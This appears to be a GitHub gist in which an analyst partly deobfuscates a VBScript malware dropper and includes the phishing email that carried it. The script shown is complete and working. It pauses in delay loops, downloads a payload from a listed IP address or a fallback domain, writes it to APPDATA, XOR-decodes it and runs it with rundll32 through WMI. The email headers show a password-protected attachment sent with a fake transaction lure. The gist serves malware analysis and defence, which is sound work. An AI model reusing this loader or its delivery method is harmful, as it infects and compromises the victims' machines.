| DABNC3F=(Chr(38) & Chr(72)&(Mid(GJC,(BFHAH+BFHAH)-1,2))) | |
| S3Ms=(Asc(MID(WKO7,((BFHAH - (Ab6F * (BFHAH \ Ab6F)))+1),1))) | |
| YM=YM+Chr(Nlfyy(DABNC3F,S3Ms)) | |
| NEXT | |
| END FUNCTION | |
| WaitACoupleSec | |
| SUB WaitACoupleSec() | |
| CountTo=99165178 | |
| ' This loop causes a few second delay, perhaps this was intentional? | |
| FOR nil=1 TO CountTo | |
| i=i+1 | |
| NEXT | |
| IF i=CountTo THEN | |
| J95("http://46.17.40.22/hyey.pnj") ' YM("2E2C00257C775B6170764562686C447B746A5B3D3F3D0D7B36361E", "UFXt", 27, 4) | |
| END IF | |
| END SUB | |
| ' Copies one file into another | |
| FUNCTION BbxkTvm(JA1hctDI,TLrAdJWp) | |
| DIM C9H0gUEP,XHTcEh,AdCiTR | |
| SET C9H0gUEP=CreateObject("Scripting.FileSystemObject") ' YM("212F43253A06255F2B6434255D29190B3F4529273D2E5B292906", "JrL1L", 26, 5) | |
| SET AdCiTR=C9H0gUEP.OpenTextFile(JA1hctDI, 1, 0) | |
| SET XHTcEh=C9H0gUEP.CreateTextFile(TLrAdJWp, 1, 0) | |
| ON ERROR RESUME NEXT | |
| DO | |
| YQk=AdCiTR.Read(1) | |
| IF ERR.NUMBER = 0 THEN | |
| XHTcEh.Write Chr(Nlfyy(Asc(YQk), 115)) | |
| END IF | |
| LOOP UNTIL ERR.NUMBER <> 0 | |
| XHTcEh.CLOSE | |
| AdCiTR.CLOSE | |
| END FUNCTION | |
| SUB WaitASec() | |
| DIM BV65E7N,J60jdN | |
| FOR BV65E7N = 96 TO 4000381 | |
| J60jdN = GGL + 81 + 46 + 51 | |
| NEXT | |
| END SUB | |
| FUNCTION J95(SoN) | |
| DIM Pj9M1,A8ZpmRm,CqYnQ6 | |
| SET Pj9M1=CreateObject("WScript.Shell") ' YM("6623052A3B4104480B3A541C0A","R1pfX", 13, 5) | |
| WaitASec | |
| SET CGyhe=Pj9M1.Environment("PROCESS") ' YM("1F1B1C29021C1A","GOISj", 7, 5) | |
| RJFcDi3V=CGyhe("APPDATA") & Chr(92)& 7118 & 7118 ' YM("2C322705280C2C","XmbwAi", 7, 6) | |
| SET A8ZpmRm=CreateObject("Microsoft.XMLHTTP") ' YM("26132C195825041C3B456F1B27321B3F67", "VkzOk7", 17, 6) | |
| IF CmXo(A8ZpmRm,SoN) = 1 THEN | |
| WaitASec | |
| CqYnQ6 = 7506 | |
| Else | |
| IF CmXo(A8ZpmRm, "http://inshaengineeringindustries.com/head.pkl") = 1 THEN CqYnQ6 = 7506 ' YM("094318335B18432A0F44042204590B2A0F52093108590B2A0F5319301545052612190F2C0C180426005342330A5B", "Ca7l", 46, 4) | |
| END IF | |
| IF CqYnQ6 = 7506 THEN | |
| TwB A8ZpmRm.ResponseBody | |
| END IF | |
| END FUNCTION | |
| SUB Al3VYw() | |
| CR0QzK=""",DllRegisterServer" ' YM("6960302120192913243F3F29061E29393A113F", "LKLtM", 19, 5) → ",DllRegisterServer | |
| AXK3Edr=RJFcDi3V & 7118 & ".lbR" ' YM("482D1B00", "RfAy", 4, 4) | |
| Jx99cJb="rundll32 """ ' YM("3B142C352A2552707164","FIaBQ", 10, 5) → rundll32 " | |
| BbxkTvm RJFcDi3V & ".Gwa",AXK3Edr ' YM("7B032000","LUDWa5Q", 4, 7) | |
| SET TqJ=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2:Win32_Process") ' YM("1C130D0325060E1054390217130B3018150D0F3602150D22271D1F0F532B060A061C310414021A27165B3F326C37080C013637190A0334594034072C58483C3E300419061D31","Bkzcn", 70, 5) | |
| TqJ.Create Jx99cJb & AXK3Edr & CR0QzK | |
| END SUB | |
| ' POSTs something | |
| FUNCTION CmXo(QW7R, JkeHbX) | |
| ON ERROR RESUME NEXT | |
| QW7R.Open "GET", JkeHbX, 0 ' YM("0E081D", "MI", 3, 2) | |
| QW7R.Send | |
| IF QW7R.Status=200 THEN | |
| CmXo=1 | |
| END IF | |
| END FUNCTION | |
| ' bitshiftery | |
| FUNCTION Nlfyy(WIKV,O3Fw) | |
| Nlfyy=(WIKV AND NOT O3Fw) OR (NOT WIKV AND O3Fw) | |
| END FUNCTION | |
| ' Writes a file | |
| SUB TwB(OkYIHff) | |
| DIM A2iAXdN1 | |
| SET A2iAXdN1=CreateObject("ADODB.Stream") ' YM("0C350A10286A1E0537310B29", "DMqETj", 12, 6) | |
| A2iAXdN1.Open | |
| A2iAXdN1.Type=1 | |
| A2iAXdN1.Write OkYIHff | |
| A2iAXdN1.SaveToFile RJFcDi3V & ".Gwa", 7 ' YM("1E764E14","E019u6M", 4, 7) | |
| A2iAXdN1.Close | |
| Al3VYw | |
| END SUB |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DIM RJFcDi3V | |
| WaitACoupleSec | |
| SUB WaitACoupleSec() | |
| CountTo=99165178 | |
| ' This loop causes a few second delay, perhaps this was intentional? | |
| FOR nil=1 TO CountTo | |
| i=i+1 | |
| NEXT | |
| IF i=CountTo THEN | |
| J95("http://46.17.40.22/hyey.pnj") ' YM("2E2C00257C775B6170764562686C447B746A5B3D3F3D0D7B36361E", "UFXt", 27, 4) | |
| END IF | |
| END SUB | |
| ' Copies one file into another | |
| FUNCTION CopyFile(FromFile, ToFile) | |
| DIM fs,DestFile,SourceFile | |
| SET fs=CreateObject("Scripting.FileSystemObject") ' YM("212F43253A06255F2B6434255D29190B3F4529273D2E5B292906", "JrL1L", 26, 5) | |
| SET SourceFile=fs.OpenTextFile(FromFile, 1, 0) | |
| SET DestFile=fs.CreateTextFile(ToFile, 1, 0) | |
| ON ERROR RESUME NEXT | |
| DO | |
| YQk=SourceFile.Read(1) | |
| IF ERR.NUMBER = 0 THEN | |
| DestFile.Write Chr(Nlfyy(Asc(YQk), 115)) | |
| END IF | |
| LOOP UNTIL ERR.NUMBER <> 0 | |
| DestFile.CLOSE | |
| SourceFile.CLOSE | |
| END FUNCTION | |
| SUB WaitASec() | |
| DIM BV65E7N,J60jdN | |
| FOR BV65E7N = 96 TO 4000381 | |
| J60jdN = GGL + 81 + 46 + 51 | |
| NEXT | |
| END SUB | |
| FUNCTION J95(SoN) | |
| DIM Pj9M1,WebReq,CqYnQ6 | |
| SET Pj9M1=CreateObject("WScript.Shell") ' YM("6623052A3B4104480B3A541C0A","R1pfX", 13, 5) | |
| WaitASec | |
| SET CGyhe=Pj9M1.Environment("PROCESS") ' YM("1F1B1C29021C1A","GOISj", 7, 5) | |
| RJFcDi3V=CGyhe("APPDATA") & Chr(92)& 7118 & 7118 ' YM("2C322705280C2C","XmbwAi", 7, 6) | |
| SET WebReq=CreateObject("Microsoft.XMLHTTP") ' YM("26132C195825041C3B456F1B27321B3F67", "VkzOk7", 17, 6) | |
| IF FetchFile(WebReq,SoN) = 1 THEN | |
| WaitASec | |
| CqYnQ6 = 7506 | |
| Else | |
| IF FetchFile(WebReq, "http://inshaengineeringindustries.com/head.pkl") = 1 THEN CqYnQ6 = 7506 ' YM("094318335B18432A0F44042204590B2A0F52093108590B2A0F5319301545052612190F2C0C180426005342330A5B", "Ca7l", 46, 4) | |
| END IF | |
| IF CqYnQ6 = 7506 THEN | |
| TwB WebReq.ResponseBody | |
| END IF | |
| END FUNCTION | |
| SUB Al3VYw() | |
| CR0QzK=""",DllRegisterServer" ' YM("6960302120192913243F3F29061E29393A113F", "LKLtM", 19, 5) → ",DllRegisterServer | |
| AXK3Edr=RJFcDi3V & 7118 & ".lbR" ' YM("482D1B00", "RfAy", 4, 4) | |
| Jx99cJb="rundll32 """ ' YM("3B142C352A2552707164","FIaBQ", 10, 5) → rundll32 " | |
| CopyFile RJFcDi3V & ".Gwa",AXK3Edr ' YM("7B032000","LUDWa5Q", 4, 7) | |
| SET TqJ=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2:Win32_Process") ' YM("1C130D0325060E1054390217130B3018150D0F3602150D22271D1F0F532B060A061C310414021A27165B3F326C37080C013637190A0334594034072C58483C3E300419061D31","Bkzcn", 70, 5) | |
| TqJ.Create Jx99cJb & AXK3Edr & CR0QzK | |
| END SUB | |
| FUNCTION FetchFile(WebReq, Url) | |
| ON ERROR RESUME NEXT | |
| WebReq.Open "GET", Url, 0 ' YM("0E081D", "MI", 3, 2) | |
| WebReq.Send | |
| IF WebReq.Status=200 THEN | |
| FetchFile=1 | |
| END IF | |
| END FUNCTION | |
| ' bitshiftery | |
| FUNCTION Nlfyy(WIKV,O3Fw) | |
| Nlfyy=(WIKV AND NOT O3Fw) OR (NOT WIKV AND O3Fw) | |
| END FUNCTION | |
| ' Writes a file | |
| SUB TwB(OkYIHff) | |
| DIM A2iAXdN1 | |
| SET A2iAXdN1=CreateObject("ADODB.Stream") ' YM("0C350A10286A1E0537310B29", "DMqETj", 12, 6) | |
| A2iAXdN1.Open | |
| A2iAXdN1.Type=1 | |
| A2iAXdN1.Write OkYIHff | |
| A2iAXdN1.SaveToFile RJFcDi3V & ".Gwa", 7 ' YM("1E764E14","E019u6M", 4, 7) | |
| A2iAXdN1.Close | |
| Al3VYw | |
| END SUB |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Delivered-To: liath@github | |
| Received: by 10.157.34.54 with SMTP id o51csp1122166ota; | |
| Wed, 7 Jun 2017 04:41:57 -0700 (PDT) | |
| X-Received: by 10.80.163.131 with SMTP id s3mr24104704edb.156.1496835717339; | |
| Wed, 07 Jun 2017 04:41:57 -0700 (PDT) | |
| ARC-Seal: i=1; a=rsa-sha256; t=1496835717; cv=none; | |
| d=google.com; s=arc-20160816; | |
| b=<snip> | |
| ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816; | |
| h=content-description:mime-version:date:subject:to:from | |
| :dkim-signature:message-id:arc-authentication-results; | |
| bh=<snip>; | |
| b=<snip> | |
| ARC-Authentication-Results: i=1; mx.google.com; | |
| dkim=pass [email protected]; | |
| spf=pass (google.com: domain of [email protected] designates 91.223.20.184 as permitted sender) [email protected]; | |
| dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=suomi24.fi | |
| Return-Path: <[email protected]> | |
| Received: from mailout00.suomi24.heinlein-hosting.de (mailout00.suomi24.heinlein-hosting.de. [91.223.20.184]) | |
| by mx.google.com with ESMTPS id s11si1728076edd.47.2017.06.07.04.41.57 | |
| for <liath@github> | |
| (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); | |
| Wed, 07 Jun 2017 04:41:57 -0700 (PDT) | |
| Received-SPF: pass (google.com: domain of [email protected] designates 91.223.20.184 as permitted sender) client-ip=91.223.20.184; | |
| Authentication-Results: mx.google.com; | |
| dkim=pass [email protected]; | |
| spf=pass (google.com: domain of [email protected] designates 91.223.20.184 as permitted sender) [email protected]; | |
| dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=suomi24.fi | |
| Message-Id: <[email protected]> | |
| Received: from localhost (mailout01.suomi24.heinlein-hosting.de [91.223.20.8]) by mailout00.suomi24.heinlein-hosting.de (Postfix) with ESMTP id E120B240FE5 for <liath@github>; Wed, | |
| 7 Jun 2017 13:41:56 +0200 (CEST) | |
| DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=suomi24.fi; h= content-description:content-type:content-type:x-mailer :mime-version:date:date:subject:subject:from:from:received :received:received; s=mailout; t=1496835716; bh=<snip> | |
| X-Virus-Scanned: amavisd-new at suomi24.heinlein-hosting.de | |
| Received: from mailout01.suomi24.heinlein-hosting.de ([127.0.0.1]) by localhost (mailout01.suomi24.heinlein-hosting.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sKVlNDm26xz9 for <liath@github>; Wed, | |
| 7 Jun 2017 13:41:56 +0200 (CEST) | |
| Received: from acs-s24-smtp2.suomi24.heinlein-hosting.de (acs-s24-smtp2.suomi24.heinlein-hosting.de [10.192.9.13]) by mailout01.suomi24.heinlein-hosting.de (Postfix) with ESMTP for <liath@github>; Wed, | |
| 7 Jun 2017 13:41:56 +0200 (CEST) | |
| Received: from Man (unknown [212.70.53.98]) by smtp.suomi24.fi (Postfix) with ESMTPSA id 87E5D40C0F for <liath@github>; Wed, | |
| 7 Jun 2017 13:41:51 +0200 (CEST) | |
| From: Patrick K Newman <[email protected]> | |
| To: liath@github | |
| Subject: Patrick K Newman | |
| Date: Wed, 7 Jun 2017 14:41:52 +0300 | |
| MIME-Version: 1.0 | |
| X-mailer: Microsoft Outlook 7.6 | |
| Content-type: Multipart/mixed; boundary="------------712324365684145679499063" | |
| Content-Description: Multipart message | |
| --------------712324365684145679499063 | |
| Content-type: text/plain; charset=UTF-8 | |
| Content-Transfer-Encoding: 8bit | |
| Content-Disposition: inline | |
| Content-Description: Message text | |
| Please find the note enclosed with this message. The Transaction will be posted in 3 days. | |
| You need Doc Password: uuVVKm4N | |
| Patrick K Newman | |
| --------------712324365684145679499063 | |
| Content-type: application/octet-stream; name="k86j.docx" | |
| Content-Transfer-Encoding: Base64 | |
| Content-Disposition: attachment; FileName="k86j.docx" | |
| Content-Description: Attached file: k86j.docx | |
| --------------712324365684145679499063-- |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment